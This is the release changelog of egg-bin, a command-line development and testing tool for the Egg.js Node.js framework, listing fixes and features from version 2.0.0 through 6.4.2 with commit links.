[6.4.2](https://github.com/eggjs/egg-bin/compare/v6.4.1...v6.4.2) (2023-08-05)\n\n\n### Bug Fixes\n\n* convert unhandled rejection to uncaught exception ([#235](https://github.com/eggjs/egg-bin/issues/235)) ([1e25880](https://github.com/eggjs/egg-bin/commit/1e25880848849cb5fee63fd7e9982afbf09301da))\n\n## [6.4.1](https://github.com/eggjs/egg-bin/compare/v6.4.0...v6.4.1) (2023-06-03)\n\n\n### Bug Fixes\n\n* detect file changes on Windows ([#234](https://github.com/eggjs/egg-bin/issues/234)) ([38f1c6c](https://github.com/eggjs/egg-bin/commit/38f1c6ccc642e941f65f5b2b370116804827801b))\n\n## [6.4.0](https://github.com/eggjs/egg-bin/compare/v6.3.0...v6.4.0) (2023-04-18)\n\n\n### Features\n\n* append cobertura to support diff line coverage ([#227](https://github.com/eggjs/egg-bin/issues/227)) ([ddf732f](https://github.com/eggjs/egg-bin/commit/ddf732fba211b2123da568bbb1ee6d84d046c083))\n* output cobertura report by default ([#228](https://github.com/eggjs/egg-bin/issues/228)) ([8818a3d](https://github.com/eggjs/egg-bin/commit/8818a3ded5e40ced3c1f72f384a14beded595f35))\n\n## [6.3.0](https://github.com/eggjs/egg-bin/compare/v6.2.0...v6.3.0) (2023-04-06)\n\n\n### Features\n\n* tsc target to ES2022 ([#225](https://github.com/eggjs/egg-bin/issues/225)) ([9d6f835](https://github.com/eggjs/egg-bin/commit/9d6f83549b78a1040230645eee9efe2ec2bdecb6))\n\n## [6.1.2](https://github.com/eggjs/egg-bin/compare/v6.1.1...v6.1.2) (2023-02-17)\n\n\n### Bug Fixes\n\n* should support windows and Node.js 14 ([#223](https://github.com/eggjs/egg-bin/issues/223)) ([8f1b709](https://github.com/eggjs/egg-bin/commit/8f1b709961475c10dbbc4d8c51ed2c54af8a39ce))\n\n## [6.1.1](https://github.com/eggjs/egg-bin/compare/v6.1.0...v6.1.1) (2023-02-14)\n\n\n### Bug Fixes\n\n* add scripts dir to exclude ([#219](https://github.com/eggjs/egg-bin/issues/219)) ([0fb74f7](https://github.com/eggjs/egg-bin/commit/0fb74f7bb85db47f6dd03697fd500d518e4907e5))\n\n## [6.1.0](https://github.com/eggjs/egg-bin/compare/v6.0.0...v6.1.0) (2023-02-14)\n\n\n### Features\n\n* support grep pattern in 6.x ([#220](https://github.com/eggjs/egg-bin/issues/220)) ([7fedc6d](https://github.com/eggjs/egg-bin/commit/7fedc6d2fd2108b9b2aace04687a9bae03e634a6))\n\n## [6.0.0](https://github.com/eggjs/egg-bin/compare/v5.13.4...v6.0.0) (2023-02-12)\n\n\n### ⚠ BREAKING CHANGES\n\n* drop Node.js 14 support and more deprecated features\n\n### Features\n\n* use @artus-cli/artus-cli ([#217](https://github.com/eggjs/egg-bin/issues/217)) ([2b801e9](https://github.com/eggjs/egg-bin/commit/2b801e99d3be6b7dc27b46cc1992cec4089759ad))\n\n## [5.13.4](https://github.com/eggjs/egg-bin/compare/v5.13.3...v5.13.4) (2023-02-09)\n\n\n### Bug Fixes\n\n* set ETS_SCRIPT_FRAMEWORK ([#216](https://github.com/eggjs/egg-bin/issues/216)) ([8614367](https://github.com/eggjs/egg-bin/commit/8614367f5b1c21d3ded9fb7f42d19d3189567d6d))\n\n## [5.13.3](https://github.com/eggjs/egg-bin/compare/v5.13.2...v5.13.3) (2023-02-06)\n\n\n### Bug Fixes\n\n* not set ETS_FRAMEWORK ([#215](https://github.com/eggjs/egg-bin/issues/215)) ([b8f1c91](https://github.com/eggjs/egg-bin/commit/b8f1c914c9094c1f6e464fbee659f7a843f0b859)), closes [#214](https://github.com/eggjs/egg-bin/issues/214)\n\n## [5.13.2](https://github.com/eggjs/egg-bin/compare/v5.13.1...v5.13.2) (2023-02-03)\n\n\n### Bug Fixes\n\n* should set ETS_FRAMEWORK to real framework package name ([#214](https://github.com/eggjs/egg-bin/issues/214)) ([fb3eb6a](https://github.com/eggjs/egg-bin/commit/fb3eb6aa8b0b3cd02eda28e0abce0e688bfdb4b4))\n\n## [5.13.1](https://github.com/eggjs/egg-bin/compare/v5.13.0...v5.13.1) (2023-01-30)\n\n\n### Bug Fixes\n\n* ignore ets when the current app don't has a framework dependencies ([#213](https://github.com/eggjs/egg-bin/issues/213)) ([666a342](https://github.com/eggjs/egg-bin/commit/666a342a28593942fb7e3de6648d4abf66c83ec1))\n\n## [5.13.0](https://github.com/eggjs/egg-bin/compare/v5.12.6...v5.13.0) (2023-01-18)\n\n\n### Features\n\n* use util.debug instead of debug module ([#212](https://github.com/eggjs/egg-bin/issues/212)) ([33c95c2](https://github.com/eggjs/egg-bin/commit/33c95c20b44c7be267bb47399d2ce963214989d0))\n\n## [5.12.3](https://github.com/eggjs/egg-bin/compare/v5.12.2...v5.12.3) (2023-01-13)\n\n\n### Bug Fixes\n\n* require tscompiler on current process ([#207](https://github.com/eggjs/egg-bin/issues/207)) ([3462835](https://github.com/eggjs/egg-bin/commit/3462835bf9060721a50e04cfeada601bb97cd0dc))\n\n## [5.12.2](https://github.com/eggjs/egg-bin/compare/v5.12.1...v5.12.2) (2023-01-11)\n\n\n### Bug Fixes\n\n* dont auto require egg-mock ([#206](https://github.com/eggjs/egg-bin/issues/206)) ([e703507](https://github.com/eggjs/egg-bin/commit/e70350762f76372925c3c4cdbc50e17fa40383a4)), closes [/github.com/eggjs/egg-mock/pull/142#issuecomment-1377450602](https://github.com/eggjs//github.com/eggjs/egg-mock/pull/142/issues/issuecomment-1377450602)\n\n## [5.12.1](https://github.com/eggjs/egg-bin/compare/v5.12.0...v5.12.1) (2023-01-10)\n\n\n### Bug Fixes\n\n* use egg-mock/register instead ([#205](https://github.com/eggjs/egg-bin/issues/205)) ([c267288](https://github.com/eggjs/egg-bin/commit/c267288eb1610cd859be66d023d27e4d72671b58))\n\n## [5.12.0](https://github.com/eggjs/egg-bin/compare/v5.11.3...v5.12.0) (2023-01-09)\n\n\n### Features\n\n* allow require mocha from outside ([#204](https://github.com/eggjs/egg-bin/issues/204)) ([6f59f6e](https://github.com/eggjs/egg-bin/commit/6f59f6effed71e898fe743fc1d29a6537029b1c7))\n\n## [5.11.3](https://github.com/eggjs/egg-bin/compare/v5.11.2...v5.11.3) (2023-01-06)\n\n\n### Bug Fixes\n\n* ignore egg module on ets ([#203](https://github.com/eggjs/egg-bin/issues/203)) ([dda64a5](https://github.com/eggjs/egg-bin/commit/dda64a5f895aac9787b07f4a9c0285ac7701bdc1))\n\n## [5.11.2](https://github.com/eggjs/egg-bin/compare/v5.11.1...v5.11.2) (2023-01-05)\n\n\n### Bug Fixes\n\n* use node to run postinstall script ([f17347b](https://github.com/eggjs/egg-bin/commit/f17347b670c8d39b32c5c7322e1e30d9c7823b72))\n\n## [5.11.1](https://github.com/eggjs/egg-bin/compare/v5.11.0...v5.11.1) (2023-01-05)\n\n\n### Bug Fixes\n\n* should set ETS_CWD  to INIT_CWD on postinstall ([#202](https://github.com/eggjs/egg-bin/issues/202)) ([a57c1d4](https://github.com/eggjs/egg-bin/commit/a57c1d4f5bfe229d1f6d3a6eb1957996d0b115ff))\n\n## [5.11.0](https://github.com/eggjs/egg-bin/compare/v5.10.0...v5.11.0) (2023-01-05)\n\n\n### Features\n\n* auto run ets on postinstall ([#201](https://github.com/eggjs/egg-bin/issues/201)) ([3e30c3d](https://github.com/eggjs/egg-bin/commit/3e30c3d6842b9a94dd631b93956c8a2201816025))\n\n## [5.10.0](https://github.com/eggjs/egg-bin/compare/v5.9.0...v5.10.0) (2023-01-03)\n\n\n### Features\n\n* use mochawesome-with-mocha and enable mochawesome by default ([#200](https://github.com/eggjs/egg-bin/issues/200)) ([efa6ef5](https://github.com/eggjs/egg-bin/commit/efa6ef58df4756216b7e80adad9fb1c852c8c9f4))\n\n## [5.9.0](https://github.com/eggjs/egg-bin/compare/v5.8.1...v5.9.0) (2022-12-18)\n\n\n### Features\n\n* auto require tsconfig-paths/register on typescript command ([#199](https://github.com/eggjs/egg-bin/issues/199)) ([82e3e3e](https://github.com/eggjs/egg-bin/commit/82e3e3ededd68258c5878e728553894fbd001d6d))\n\n## [5.8.1](https://github.com/eggjs/egg-bin/compare/v5.8.0...v5.8.1) (2022-12-18)\n\n\n### Bug Fixes\n\n* add missing custom require ([#198](https://github.com/eggjs/egg-bin/issues/198)) ([1348220](https://github.com/eggjs/egg-bin/commit/13482208f117d2d3fa7d70334b84ef2791847acd))\n\n## [5.8.0](https://github.com/eggjs/egg-bin/compare/v5.7.0...v5.8.0) (2022-12-18)\n\n\n### Features\n\n* [BREAKING CHANGE] drop espower support ([#197](https://github.com/eggjs/egg-bin/issues/197)) ([1fc3624](https://github.com/eggjs/egg-bin/commit/1fc362449b69502deb87671a7c1aa21bd5070c51))\n\n## [5.7.0](https://github.com/eggjs/egg-bin/compare/v5.6.1...v5.7.0) (2022-12-18)\n\n\n### Features\n\n* disable espower by default ([#196](https://github.com/eggjs/egg-bin/issues/196)) ([5e35438](https://github.com/eggjs/egg-bin/commit/5e3543812854066a72e6ff61fda001b23bf493ad))\n\n## [5.6.1](https://github.com/eggjs/egg-bin/compare/v5.6.0...v5.6.1) (2022-12-17)\n\n\n### Bug Fixes\n\n* revert mochawesome to false by default ([#195](https://github.com/eggjs/egg-bin/issues/195)) ([9c48e10](https://github.com/eggjs/egg-bin/commit/9c48e10d48be54945dce7ce6b3b673f971302fae))\n\n## [5.6.0](https://github.com/eggjs/egg-bin/compare/v5.5.0...v5.6.0) (2022-12-17)\n\n\n### Features\n\n* enable mochawesome by default ([#193](https://github.com/eggjs/egg-bin/issues/193)) ([6636e8f](https://github.com/eggjs/egg-bin/commit/6636e8f7cf3227e05a5b9acf1b1a0b4bd7291fb8))\n\n\n5.5.0 / 2022-11-19\n==================\n\n**features**\n  * [[`3c326b3`](http://github.com/eggjs/egg-bin/commit/3c326b3a5280a7272c84a248e387b590468500b7)] - 📦 NEW: Support mochawesome reporter (#192) (fengmk2 <<fengmk2@gmail.com>>)\n\n5.4.1 / 2022-11-15\n==================\n\n**fixes**\n  * [[`bfd7fab`](http://github.com/eggjs/egg-bin/commit/bfd7fabffa3ae795ab4ca6494bb3cdc0138d59ff)] - fix: --full-trace should be boolean (#191) (Haoliang Gao <<sakura9515@gmail.com>>)\n\n**others**\n  * [[`85581d2`](http://github.com/eggjs/egg-bin/commit/85581d2e77c9490fb196b1d844b57c4330539a5c)] - 🤖 TEST: Only test on Linux and macOS (#190) (fengmk2 <<fengmk2@gmail.com>>)\n\n5.4.0 / 2022-11-11\n==================\n\n**features**\n  * [[`72e925b`](http://github.com/eggjs/egg-bin/commit/72e925b490fa215432c76e46f6361bf52c169cc6)] - feat: default enable c8 report (#189) (killa <<killa123@126.com>>)\n\n5.3.3 / 2022-11-10\n==================\n\n**fixes**\n  * [[`e18ceda`](http://github.com/eggjs/egg-bin/commit/e18cedaf5482c1c58becc6674e3e7a512139f097)] - fix: fix cov env (#188) (killa <<killa123@126.com>>)\n\n5.3.2 / 2022-11-09\n==================\n\n**fixes**\n  * [[`88ba6d5`](http://github.com/eggjs/egg-bin/commit/88ba6d5b2d7dfd3d349d9687a57948d76b757885)] - fix: fix ENABLE_MOCHA_PARALLEL/AUTO_AGENT env (#187) (killa <<killa123@126.com>>)\n\n5.3.1 / 2022-11-05\n==================\n\n**fixes**\n  * [[`c5db00e`](http://github.com/eggjs/egg-bin/commit/c5db00eab9846c32d491487ac04cc4388565d9f8)] - fix: ignore eggTsHelper on node-test (#186) (fengmk2 <<fengmk2@gmail.com>>)\n\n5.3.0 / 2022-11-04\n==================\n\n**features**\n  * [[`78141e8`](http://github.com/eggjs/egg-bin/commit/78141e83a83f69f769470a100688c415a0ae1070)] - feat: impl parallel for mocha parallel mode (#185) (killa <<killa123@126.com>>)\n\n5.2.0 / 2022-07-15\n==================\n\n**features**\n  * [[`f564cbf`](http://github.com/eggjs/egg-bin/commit/f564cbf20be3b7eb7eed61b2fc95a2afa0b5936e)] - feat: support set eggTsHelper (#183) (mansonchor.github.com <<mansonchor1987@gmail.com>>)\n\n5.1.2 / 2022-07-05\n==================\n\n**fixes**\n  * [[`a1ec4f7`](http://github.com/eggjs/egg-bin/commit/a1ec4f7e4857bdbd15cc9a9f0e1948dd7f5c348a)] - fix: conflix source map support (#181) (吖猩 <<whxaxes@gmail.com>>)\n\n5.1.1 / 2022-06-23\n==================\n\n**fixes**\n  * [[`2e0fecd`](http://github.com/eggjs/egg-bin/commit/2e0fecd06e9c901d370d54542e1aa6dc7b183403)] - fix: fix espwoer-typescript inject logic (#178) (Yiyu He <<dead_horse@qq.com>>)\n\n5.1.0 / 2022-06-04\n==================\n\n**others**\n  * [[`84489fe`](http://github.com/eggjs/egg-bin/commit/84489feb1341fad381e271efa39fe5d33317c776)] - 📦 NEW: Support run test with node:test (#177) (fengmk2 <<fengmk2@gmail.com>>)\n\n5.0.0 / 2022-06-04\n==================\n\n**features**\n  * [[`1e96da2`](http://github.com/eggjs/egg-bin/commit/1e96da2bb68203a5e972645df51ed0aa47ccaa8c)] - feat: support c8 report (#172) (羊鹿 <<general_up@163.com>>)\n\n**others**\n  * [[`6fb02f9`](http://github.com/eggjs/egg-bin/commit/6fb02f94b7d0f2b755a6b7c5eb780dca73cfc53e)] - 📦 NEW: [BREAKING] Only support Node.js 14 (#176) (fengmk2 <<fengmk2@gmail.com>>)\n  * [[`f32030b`](http://github.com/eggjs/egg-bin/commit/f32030b3b763e9f90c7b7f3d2f9f0f0b986051d3)] - Create codeql-analysis.yml (fengmk2 <<fengmk2@gmail.com>>)\n  * [[`c84671c`](http://github.com/eggjs/egg-bin/commit/c84671cc066f6ed7b26b070b4af688676beade2f)] - chore: update build status badge url (#174) (XiaoRui <<xiangwu619@gmail.com>>)\n\n4.18.1 / 2022-02-18\n==================\n\n**fixes**\n  * [[`662b9e9`](http://github.com/eggjs/egg-bin/commit/662b9e924d8e83959ee44e2ef4b1ac7541378b33)] - fix: using ts-node in app should check tscompiler and deps (#170) (吖猩 <<whxaxes@gmail.com>>),\n\n4.18.0 / 2022-02-16\n==================\n\n**features**\n  * [[`4a54cec`](http://github.com/eggjs/egg-bin/commit/4a54cec8561595b33984e41982e8d1da96a6bd47)] - feat: allow loading ts compiler from cwd (#169) (Deng Ruoqi <<drqzju@gmail.com>>)\n\n4.17.0 / 2022-01-21\n==================\n\n**others**\n  * [[`6403b4a`](http://github.com/eggjs/egg-bin/commit/6403b4aac8aa4cd872ecddbaf1ff118e98b0a192)] - support --intelli-espower-loader option (#168) (羊鹿 <<general_up@163.com>>)\n\n4.16.4 / 2021-07-09\n==================\n\n**others**\n  * [[`0765c4c`](http://github.com/eggjs/egg-bin/commit/0765c4cdc3abc1f4181dec2e31142ce5224a2cdf)] - ci: support node-v8.x (#164) (hyj1991 <<yeekwanvong@gmail.com>>)\n\n4.16.3 / 2021-07-08\n==================\n\n**fixes**\n  * [[`4a076e6`](http://github.com/eggjs/egg-bin/commit/4a076e606428b7eb80bdaa0e358cf4138a3ab0df)] - fix: ci failed (#162) (hyj1991 <<yeekwanvong@gmail.com>>)\n\n**others**\n  * [[`c915f1a`](http://github.com/eggjs/egg-bin/commit/c915f1a65340e1cfa04cf213a957f7ed9ac1c148)] - chore: update deps (#161) (hyj1991 <<yeekwanvong@gmail.com>>)\n\n4.16.2 / 2021-05-14\n==================\n\n**fixes**\n  * [[`563923a`](http://github.com/eggjs/egg-bin/commit/563923a68c0c0ae09075c4cedb855400deea623f)] - fix: remove espower typescript (#160) (吖猩 <<whxaxes@gmail.com>>)\n\n4.16.1 / 2021-04-25\n==================\n\n**fixes**\n  * [[`8666e9e`](http://github.com/eggjs/egg-bin/commit/8666e9eb9ce5016ac61af9f542b5518537a90a6b)] - fix: egginfo is not exists (#159) (吖猩 <<whxaxes@gmail.com>>)\n\n4.16.0 / 2021-04-23\n==================\n\n**features**\n  * [[`a74bae2`](http://github.com/eggjs/egg-bin/commit/a74bae2f604c13b50dadb8468a796867315120c7)] - feat: support switch ts compiler (#158) (吖猩 <<whxaxes@gmail.com>>)\n\n4.15.0 / 2020-07-03\n==================\n\n**features**\n  * [[`dcc9b25`](http://github.com/eggjs/egg-bin/commit/dcc9b256843815b6b4f1e505bfd1bf3aeffa4db0)] - feat: expose proc (#152) (TZ | 天猪 <<atian25@qq.com>>)\n\n4.14.1 / 2020-01-02\n==================\n\n**fixes**\n  * [[`00afdf7`](http://github.com/eggjs/egg-bin/commit/00afdf7e0237a42360ffd40513cb0b11467efbb5)] - fix: auto add .setup.ts file (#147) (angleshe <<478647464@qq.com>>)\n\n4.14.0 / 2019-10-12\n==================\n\n**features**\n  * [[`3cc3b0b`](http://github.com/eggjs/egg-bin/commit/3cc3b0bbc56553e66fdd3cc5b87716e61d859bdb)] - feat: test  --dry-run (#145) (Shu Pengfei <<stormslowly@gmail.com>>)\n\n**fixes**\n  * [[`9cb8125`](http://github.com/eggjs/egg-bin/commit/9cb812537f1bc5e046186fe4f167742503a43abb)] - fix: revert nyc (#140) (Haoliang Gao <<sakura9515@gmail.com>>)\n\n**others**\n  * [[`26c7b59`](http://github.com/eggjs/egg-bin/commit/26c7b599c18dee30215f1ffe35e9b6ab03cd3dd7)] - chore(deps): update typescript to \"^3\" (#144) (waiting <<waiting@xiaozhong.biz>>)\n  * [[`979a1ae`](http://github.com/eggjs/egg-bin/commit/979a1aed424540451412a58e3181ae1e456a73f5)] - ci: fix timeout (#142) (waiting <<waiting@xiaozhong.biz>>)\n\n4.13.2 / 2019-09-27\n==================\n\n**fixes**\n  * [[`3b370ef`](http://github.com/eggjs/egg-bin/commit/3b370ef998b65e1a5f0390a7aa5f0fb4d2e96a7d)] - fix: nyc shim (#138) (dxd <<dxd_sjtu@outlook.com>>)\n\n4.13.1 / 2019-04-28\n==================\n\n**others**\n  * [[`3665b0d`](http://github.com/eggjs/egg-bin/commit/3665b0d030258283bf8aa150019ae6214c9c85eb)] - deps: cleanup & fix high severity vulnerability (#133) (ZYSzys <<17367077526@163.com>>)\n\n4.13.0 / 2019-04-23\n==================\n\n**features**\n  * [[`5c621f6`](http://github.com/eggjs/egg-bin/commit/5c621f6d6119fc0ac03b70e294e6cc18d2f88568)] - feat: should print error stack (#132) (TZ | 天猪 <<atian25@qq.com>>)\n\n4.12.3 / 2019-04-09\n==================\n\n**fixes**\n  * [[`819d78f`](http://github.com/eggjs/egg-bin/commit/819d78fb4d8a1c13827f0e64c197e129777fe646)] - fix: debug mode detect (#130) (TZ | 天猪 <<atian25@qq.com>>)\n\n**others**\n  * [[`f85aafb`](http://github.com/eggjs/egg-bin/commit/f85aafb8db6b5be1d1cf9cb88297747cafb96142)] - chore: update deps (#131) (TZ | 天猪 <<atian25@qq.com>>)\n\n4.12.2 / 2019-04-04\n==================\n\n**fixes**\n  * [[`3b6819c`](http://github.com/eggjs/egg-bin/commit/3b6819ccdc1f2f6c81482f45097adfe544e6c874)] - fix: should not timeout when debugging (#129) (TZ | 天猪 <<atian25@qq.com>>)\n  * [[`fcae123`](http://github.com/eggjs/egg-bin/commit/fcae1233518d094984aac0efe6890d679da533a0)] - fix: support --workers same as egg-scripts (#127) (TZ | 天猪 <<atian25@qq.com>>)\n\n4.12.1 / 2019-03-26\n==================\n\n**fixes**\n  * [[`d802694`](http://github.com/eggjs/egg-bin/commit/d802694cc1039e0b0a3721917019c63b7599d59e)] - fix: downgrade ts-node (#126) (吖猩 <<whxaxes@qq.com>>)\n\n4.12.0 / 2019-03-20\n==================\n\n**others**\n  * [[`44854f0`](http://github.com/eggjs/egg-bin/commit/44854f047823a0979b41bf7661e06be2dd5aef83)] - deps: bump ts-node version (#125) (吖猩 <<whxaxes@qq.com>>)\n\n4.11.1 / 2019-03-06\n==================\n\n**fixes**\n  * [[`8f6135e`](http://github.com/eggjs/egg-bin/commit/8f6135edf46584f009633fa82436ed16037f6cc5)] - fix: ets not found (#124) (吖猩 <<whxaxes@qq.com>>)\n\n4.11.0 / 2019-02-15\n===================\n\n  * feat: intergration with egg-ts-helper (#123)\n\n4.10.0 / 2019-01-04\n===================\n\n  **features**\n    * [[`904103f`](https://github.com/eggjs/egg-bin/commit/904103fe673e93bdf600f6eace4121cf4bf15d9b)] - feat: support read egg.require from package.json (#121) (吖猩 <<whxaxes@qq.com>>)\n\n  **docs**\n    * [[`0d553f6`](https://github.com/eggjs/egg-bin/commit/0d553f641155bc3ee9cc9d459a0ddff238c6c691)] - docs: test timeout is 6000ms (#115) (BiosSun <<biossun@gmail.com>>)\n\n4.9.0 / 2018-09-19\n==================\n\n**features**\n  * [[`51f93aa`](http://github.com/eggjs/egg-bin/commit/51f93aaa7506c9d0b90e3385c5bb6fa2cb488bc0)] - feat: support egg-bin test --changed (#111) (Yiyu He <<dead_horse@qq.com>>)\n\n**fixes**\n  * [[`a82a87a`](http://github.com/eggjs/egg-bin/commit/a82a87a66939c327b65f394abd99a3d194c860bb)] - fix: debug-test invoke formatTestArgs (dead-horse <<dead_horse@qq.com>>)\n\n4.8.5 / 2018-09-11\n==================\n\n  * feat: remove correct-source-map.js (#109)\n\n4.8.4 / 2018-09-06\n==================\n\n  * fix: package.json to reduce vulnerabilities (#108)\n\n4.8.3 / 2018-08-27\n==================\n\n**fixes**\n  * [[`ca4f78f`](http://github.com/eggjs/egg-bin/commit/ca4f78f5e7c608fbe9af37577c62a5b64bb2b45c)] - fix: fix source map line number incorrect (#107) (吖猩 <<whxaxes@qq.com>>)\n\n4.8.2 / 2018-08-23\n==================\n\n**features**\n  * [[`35e89db`](http://github.com/eggjs/egg-bin/commit/35e89dbdbfcb6d2c6cd07f73145ead7c4c5421ce)] - feat: upgrade espower-typescript to 9.0 (#106) (吖猩 <<whxaxes@qq.com>>)\n\n4.8.1 / 2018-08-01\n==================\n\n  * fix: fixed ts-node ignore files (#105)\n\n4.8.0 / 2018-07-31\n==================\n\n  * chore: update deps (#104)\n  * feat(cov): add nyc instrument passthrough (#103)\n\n4.7.1 / 2018-06-29\n==================\n\n  * fix: should exit when no test files found (#100)\n\n4.7.0 / 2018-04-18\n==================\n\n  * feat: add ts env in command (#98)\n\n4.6.3 / 2018-04-05\n==================\n\n  * fix: should only read pkg if argv.typescript not pass (#97)\n\n4.6.2 / 2018-04-02\n==================\n\n**fixes**\n  * [[`e73c569`](http://github.com/eggjs/egg-bin/commit/e73c56952cdbd0f925e8aea1ad1b3098e9ccc90e)] - fix: should ignore fixtures and node_modules (#96) (Haoliang Gao <<sakura9515@gmail.com>>)\n  * [[`7531faa`](http://github.com/eggjs/egg-bin/commit/7531faaae98e126ec0151721a5fbf7a73b6246b3)] - fix: support relative path (#95) (TZ | 天猪 <<atian25@qq.com>>)\n\n4.6.1 / 2018-03-31\n==================\n\n  * fix: remove ts extensions by default (#94)\n\n4.6.0 / 2018-03-30\n==================\n\n  * chore: don't need to log at vscode and webstorm (#93)\n  * feat: support egg.typescript (#92)\n  * feat: cov support typescript (#91)\n\n4.5.0 / 2018-03-28\n==================\n\n  * feat: support typescript (#89)\n  * feat: set EGG_MASTER_CLOSE_TIMEOUT when run dev (#88)\n\n4.4.1 / 2018-03-26\n==================\n\n  * feat: revert egg-bin check (#90)\n\n4.4.0 / 2018-02-24\n==================\n\n  * feat: egg-bin check (#87)\n\n4.3.7 / 2017-12-13\n==================\n\n**fixes**\n  * [[`6689962`](http://github.com/eggjs/egg-bin/commit/6689962082fb86591adfcaf0d85687096cdb851d)] - fix: make sure files sort in all platforms (#86) (fengmk2 <<fengmk2@gmail.com>>)\n\n4.3.6 / 2017-11-30\n==================\n\n  * deps: autod@3.0 (#85)\n  * test: Node 8.7.0 has improved stack for promise (#84)\n\n4.3.5 / 2017-10-10\n==================\n\n**fixes**\n  * [[`7386194`](http://github.com/eggjs/egg-bin/commit/7386194d94ec8b0d0faee766fe98f0f4f2ece8a2)] - fix: force exit when runner complete (#83) (Haoliang Gao <<sakura9515@gmail.com>>)\n\n**others**\n  * [[`a7c4b53`](http://github.com/eggjs/egg-bin/commit/a7c4b53c3aab8ee4a7c3c65e39f6480de97a9ea1)] - chore: remove incorrect history (#82) (Haoliang Gao <<sakura9515@gmail.com>>)\n\n4.3.4 / 2017-10-09\n==================\n\nUpgrade mocha@4, see https://boneskull.com/mocha-v4-nears-release\n\n**fixes**\n  * [[`e3c33e9`](http://github.com/eggjs/egg-bin/commit/e3c33e9fbc8c67ce733237ff7c0c41f35654712f)] - fix: package.json to reduce vulnerabilities (#81) (Snyk bot <<snyk-bot@users.noreply.github.com>>)\n\n\n4.3.3 / 2017-09-21\n==================\n\n  * chore: dont print devtools link at vscode (#75)\n\n4.3.2 / 2017-09-14\n==================\n\n**fixes**\n  * [[`2e3498e`](http://github.com/eggjs/egg-bin/commit/2e3498e6ca1b81814a2d1a4db4a8a37fb0d6d880)] - fix: use inspector at 7.x+ (#74) (TZ | 天猪 <<atian25@qq.com>>)\n\n4.3.1 / 2017-09-13\n==================\n\n**features**\n  * [[`678b83d`](http://github.com/eggjs/egg-bin/commit/678b83d64ad850ac390607ee281e5336473da808)] - feat: debug proxy support (TZ <<atian25@qq.com>>)\n  * [[`c65a00d`](http://github.com/eggjs/egg-bin/commit/c65a00dc69fbca3924bcd848c94bc0b11a3ee17a)] - feat: revert to 4.2.0 (TZ <<atian25@qq.com>>)\n\n**fixes**\n  * [[`469739f`](http://github.com/eggjs/egg-bin/commit/469739f1b494c647fcb06e0db432d435ed9e1805)] - fix: debug at 6.x (TZ <<atian25@qq.com>>)\n\n**others**\n  * [[`2be5245`](http://github.com/eggjs/egg-bin/commit/2be52459ed22dd3c0a22b080f7e29ae876d2914f)] - docs: add readme (TZ <<atian25@qq.com>>)\n  * [[`3e8ce0d`](http://github.com/eggjs/egg-bin/commit/3e8ce0d3aaaea793f466b768f45f77e4fcc7b001)] - refactor: use common-bin parse execArgv (TZ <<atian25@qq.com>>)\n\n4.3.0 / 2017-09-07\n==================\n\n**others**\n  * [[`83afba3`](http://github.com/eggjs/egg-bin/commit/83afba3a43e9e7d233263f6deba792d1f4c1a1d9)] - deps: update common-bin (TZ <<atian25@qq.com>>)\n  * [[`f7628b2`](http://github.com/eggjs/egg-bin/commit/f7628b22042168d522b9b69344c9a54ab1fa1305)] - refactor: egg-bin debug pass debugOptions to startCluster (TZ <<atian25@qq.com>>)\n  * [[`831c77d`](http://github.com/eggjs/egg-bin/commit/831c77d3d0a269e1ab1243471ef34bb53df0fb80)] - refactor: use common-bin parse execArgv (TZ <<atian25@qq.com>>)\n\n4.2.0 / 2017-08-30\n==================\n\n  * feat: support $NODE_DEBUG_OPTION (#71)\n\n4.1.0 / 2017-08-02\n==================\n\n  * feat: add `egg-bin autod --check` command (#70)\n\n4.0.5 / 2017-07-05\n==================\n\n  * fix: only hotfix spawn-wrap on windows (#69)\n\n4.0.4 / 2017-06-21\n==================\n\n  * fix: remove temp excludes\n  * feat(cov): add prerequire option (#53)\n\n4.0.3 / 2017-06-21\n==================\n\n  * fix: There is a case sensitive issue from spawn-wrap  on Windows (#67)\n\n4.0.2 / 2017-06-20\n==================\n\n  * fix: should support multi exclude dirs (#66)\n\n4.0.1 / 2017-06-20\n==================\n\n  * fix: ignore frontend files and document files (#65)\n\n4.0.0 / 2017-06-20\n==================\n\n  * feat: use nyc instead of istanbul (#63)\n\n3.7.0 / 2017-06-19\n==================\n\n  * feat: cov support output json-summary (#64)\n\n3.6.0 / 2017-06-14\n==================\n\n  * feat: support cov command  in win32 (#52)\n  * test: skip assert error stack on node >= 7.0.0 (#61)\n  * fix: clean more mocha error stack (#60)\n\n3.5.0 / 2017-06-08\n==================\n\n  * feat: simplify mocha error stack (#59)\n\n3.4.2 / 2017-06-04\n==================\n\n  * fix: use context.env instead of process.env (#58)\n\n3.4.1 / 2017-06-01\n==================\n\n  * fix: don't pass prerequire (#57)\n\n3.4.0 / 2017-05-18\n==================\n\n  * feat(cov): add prerequire option (#53)\n\n3.3.2 / 2017-04-28\n==================\n\n  * feat: change default timeout to 60000 (#50)\n\n3.3.1 / 2017-04-25\n==================\n\n  * fix: cov replaced warning at win (#49)\n\n3.3.0 / 2017-04-17\n==================\n\n  * feat: pass --check to pkgfiles (#48)\n\n3.2.1 / 2017-04-01\n==================\n\n  * fix: -x only support string (#47)\n\n3.2.0 / 2017-03-29\n==================\n\n  * feat: extractArgv refactor & extract debug port\n  * feat: extractArgv support expose_debug_as\n\n3.1.0 / 2017-03-21\n==================\n\n  * feat: use unparseArgv from common-bin (#45)\n\n3.0.1 / 2017-03-21\n==================\n\n  * fix(cov): istanbul path env (#44)\n\n3.0.0 / 2017-03-21\n==================\n\n  * refactor: [BREAKING_CHANGE] use common-bin 2.x (#41)\n\n2.4.0 / 2017-03-09\n==================\n\n  * deps: upgrade istanbul to 1.1.0-alpha.1 (#43)\n\n2.3.0 / 2017-03-08\n==================\n\n  * fix: add missing deps (#42)\n  * feat: update pkg.files that if file exists (#37)\n  * refactor: use framework (#39)\n\n2.2.3 / 2017-02-25\n==================\n\n  * fix: support egg-bin dev --cluster and --baseDir (#36)\n\n2.2.2 / 2017-02-25\n==================\n\n  * fix: use co-mocha instead of thunk-mocha (#38)\n\n2.2.1 / 2017-02-19\n==================\n\n  * fix: support node4 (#35)\n\n2.2.0 / 2017-02-15\n==================\n\n  * feat: commands support specific execArgv(harmony) (#33)\n  * docs: missing debug description for zh-cn (#34)\n\n2.1.0 / 2017-02-14\n==================\n\n  * feat: add sticky mode support (#32)\n\n2.0.2 / 2017-01-24\n==================\n\n  * fix: .setup.js should be the first test file (#30)\n\n2.0.1 / 2017-01-17\n==================\n\n  * fix: should support -p (#27)\n  * docs: use V8 Inspector Integration for debug\n\n2.0.0 / 2017-01-16\n==================\n\n  * feat(debug): [BREAKING_CHANGE] remove iron-node 